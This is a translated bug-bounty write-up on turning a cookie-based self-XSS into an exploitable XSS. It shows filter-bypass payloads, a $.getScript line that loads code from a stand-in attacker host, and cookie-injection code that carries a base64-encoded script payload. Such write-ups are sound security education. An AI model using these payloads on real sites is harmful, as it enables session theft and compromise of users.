從Self-XSS到可利用的xss

翻譯自:https://medium.com/@0xHyde/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e
翻譯:聶心明

上個月我收到來自Synack團隊的私有賞金任務,最後我在網站中發現了一個反射型xss。因爲這是私有賞金任務,我不能在writeup中提到目標的信息。但是我會演示我是怎樣繞過各種限制的。我最後得到了$272,因爲我沒有證明我能訪問dom對象。因爲網站限制了圓括號,所以我不能訪問到dom,並且我不能執行像下面這樣的payload:

alert(document.domain)

正常情況下,上面的JavaScript代碼執行後會有下面截圖中的效果

alert`document.domain` 

因爲圓括號被過濾,我就用`字符來執行我的函數。不幸的是,當下面的函數被執行的時候,你不會訪問dom資源。下面的截圖是一個簡單的例子。

我提交了這個報告,並且獲得了$272,可是如果我告訴他們我能實現dom的訪問,我就能額外獲得一份賞金,所以很自然我開始了這一項挑戰。我跟Brutelogic (Brute)說了這件事,然後向他諮詢了一些繞過技術,然後他告訴我可以參考他的xss備忘錄。當我學習他的文檔時,我發現下面的這段payload:

setTimeout`alert\x28document.domain\x29`

這個payload能夠實現我需要的效果,就是隨意訪問dom。我重新提交了新的payload,這個payload展示了我可以隨意訪問網頁的dom資源,然後我獲得了額外的60塊錢。但是我沒有就此停手。早些時候,我在漏洞收取範圍內的子域名下發現一個Self-XSS。cookie中有一個被base64編碼了的參數,這個參數可導致xss。典型的基於cookie的xss,但是它沒法被利用,除非攻擊者能給客戶瀏覽器設置cookie。幸運的是,我現在手上有一個xss了,就是我上面提到的。可是我的payload不能太長,否則就會失敗。我知道,如果我想執行一些有攻擊力的payload的話,那我必須嵌入外部的JavaScript文件,因爲即使是最簡單的payload都會因爲太長而不會執行成功。我也似乎不能嵌入包含payload的外部JavaScript文件,以用來設置cookie的屬性。因爲它還是太長了。但是,我注意漏洞頁面用了jQuery,這就可以讓我用一些足夠短的語句來嵌入腳本文件。下面是我用到的代碼:

$.getScript`//xss.example.com/xss.js`

現在,我只需要用JavaScript代碼把payload base64編碼,然後放入cookie中的那個有漏洞的參數中就可以了。下面就是我用到的代碼:

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
        document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
	window.location = "https://example.com/vulnerablePage.html";
}

上面的代碼會把網頁的上半部分文本替換成”點擊下面這個按鈕就可以繼續“,下面會帶有一個按鈕。當受害者點擊這個按鈕時,js代碼就會設置那個有漏洞的cookie參數爲下面的字符串

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

上面的字符串經過base64解碼之後就是下面的代碼,它就會在有漏洞的頁面上彈窗

--></script><script>alert(document.domain);//

最後,我想這是一個非常有趣的漏洞利用過程,當我不斷的嘗試繞過時,我也感受到了非常多的樂趣。最後,我因爲把Self-XSS變成了可利用的xss,我獲得了$616,此外,我還因爲上文提到的漏洞利用鏈獲得了$272 + $60的賞金。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章